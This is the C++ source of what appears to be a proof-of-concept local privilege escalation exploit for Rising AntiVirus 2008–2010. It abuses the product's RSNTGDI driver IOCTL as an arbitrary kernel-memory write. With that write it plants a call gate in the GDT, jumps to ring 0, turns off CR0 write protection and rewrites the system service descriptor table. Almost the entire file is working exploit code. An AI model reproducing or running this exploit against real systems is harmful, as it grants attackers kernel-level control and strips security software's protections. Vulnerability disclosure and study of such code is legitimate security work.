// Rising0day.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" enum { SystemModuleInformation = 11 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; HANDLE g_RsGdiHandle = 0 ; void __stdcall WriteKVM(PVOID Address , ULONG Value) { ULONG ColorValue = Value ; ULONG btr ; ULONG ColorBuffer = 0 ; DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), &ColorBuffer , sizeof(ULONG), &btr , 0 ); DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), Address , sizeof(ULONG), &btr , 0 ); return ; } void AddCallGate() { ULONG Gdt_Addr; ULONG CallGateData[0x4]; ULONG Icount; __asm { push edx sgdt [esp-2] pop edx mov Gdt_Addr , edx } __asm { push 0xc3 push Gdt_Addr call WriteKVM mov eax,Gdt_Addr mov word ptr[CallGateData],ax shr eax,16 mov word ptr[CallGateData+6],ax mov dword ptr[CallGateData+2],0x0ec0003e8 mov dword ptr[CallGateData+8],0x0000ffff mov dword ptr[CallGateData+12],0x00cf9a00 xor eax,eax LoopWrite: mov edi,dword ptr CallGateData[eax] push edi mov edi,Gdt_Addr add edi,0x3e0 add edi,eax push edi mov Icount,eax call WriteKVM mov eax,Icount add eax , 0x4 cmp eax,0x10 jnz LoopWrite } return ; } void IntoR0(PVOID function) { WORD Callgt[3]; Callgt[0] = 0; Callgt[1] = 0; Callgt[2] = 0x3e3; __asm { call fword ptr[Callgt] mov eax,esp mov esp,[esp+4] push eax call function pop esp push offset ring3Ret retf ring3Ret: nop } return ; } #pragma pack(1) typedef struct _IDTR { SHORT IDTLimit; UINT IDTBase; }IDTR, *PIDTR, **PPIDTR; #pragma pack() ULONG g_RealSSDT = 0 ; ULONG ServiceNum = 0 ; ULONG OrgService [0x1000] ; ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva) { ULONG Offset = Rva, Limit; IMAGE_SECTION_HEADER *Img; WORD i; Img = IMAGE_FIRST_SECTION(NT); if (Rva < Img->PointerToRawData) return Rva; for (i = 0; i < NT->FileHeader.NumberOfSections; i++) { if (Img[i].SizeOfRawData) Limit = Img[i].SizeOfRawData; else Limit = Img[i].Misc.VirtualSize; if (Rva >= Img[i].VirtualAddress && Rva < (Img[i].VirtualAddress + Limit)) { if (Img[i].PointerToRawData != 0) { Offset -= Img[i].VirtualAddress; Offset += Img[i].PointerToRawData; } return Offset; } } return 0; } #define ibaseDD *(PDWORD)&ibase DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh) { PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase; if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE; *pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew]; if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE; *pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE)); *poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER)); if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE; *psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER)); return TRUE; } typedef struct { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; #define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset))) DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase) { PIMAGE_FILE_HEADER pfh; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe; DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable; BOOL bFirstChunk; GetHeaders((PCHAR)hModule,&pfh,&poh,&psh); if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) && (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) { pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule); bFirstChunk=TRUE; while (bFirstChunk || pbr->VirtualAddress) { bFirstChunk=FALSE; pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) { if (pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwFixups++; dwPointerRva=pbr->VirtualAddress+pfe->offset; dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase; if (dwPointsToRva==dwKSDT) { if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) { dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase; *ImageBase = poh->ImageBase; return dwKiServiceTable; } } } } *(PDWORD)&pbr+=pbr->SizeOfBlock; } } return 0; } DWORD CR0Reg ; ULONG realssdt ; void InKerneProc() { __asm { cli mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF mov cr0, eax } int i; for (i = 0; i < (int)ServiceNum; i++) { *(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i]; } __asm { mov eax, CR0Reg mov cr0, eax sti } } int main(int argc, char* argv[]) { printf("Rising AntiVirus 2008 ~ 2010 \n" "Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n"); g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" , 0, FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING , 0 , 0 ); if (g_RsGdiHandle == INVALID_HANDLE_VALUE) { return 0 ; } SYSTEM_MODULE_INFORMATION ModuleInfo ; // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation"); ULONG infosize = sizeof(ModuleInfo); __asm { push 0 push infosize lea eax , ModuleInfo push eax push 11 call pNtQuerySystemInformation } HMODULE KernelHandle ; LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength); // Load the kernel image specified KernelHandle = LoadLibrary(ntosname); if (KernelHandle == 0 ) { return 0 ; } ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable"); if (KeSSDT == 0 ) { return 0 ; } ULONG ImageBase = 0 ; ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase); if (KiSSDT == 0 ) { return 0 ; } KiSSDT += (ULONG)KernelHandle; ServiceNum = 0x11c ; ULONG i ; for (i = 0 ; i < ServiceNum ; i ++) { OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase; } realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base; SetThreadAffinityMask(GetCurrentThread () , 0 ) ; AddCallGate(); IntoR0(InKerneProc); return 0; }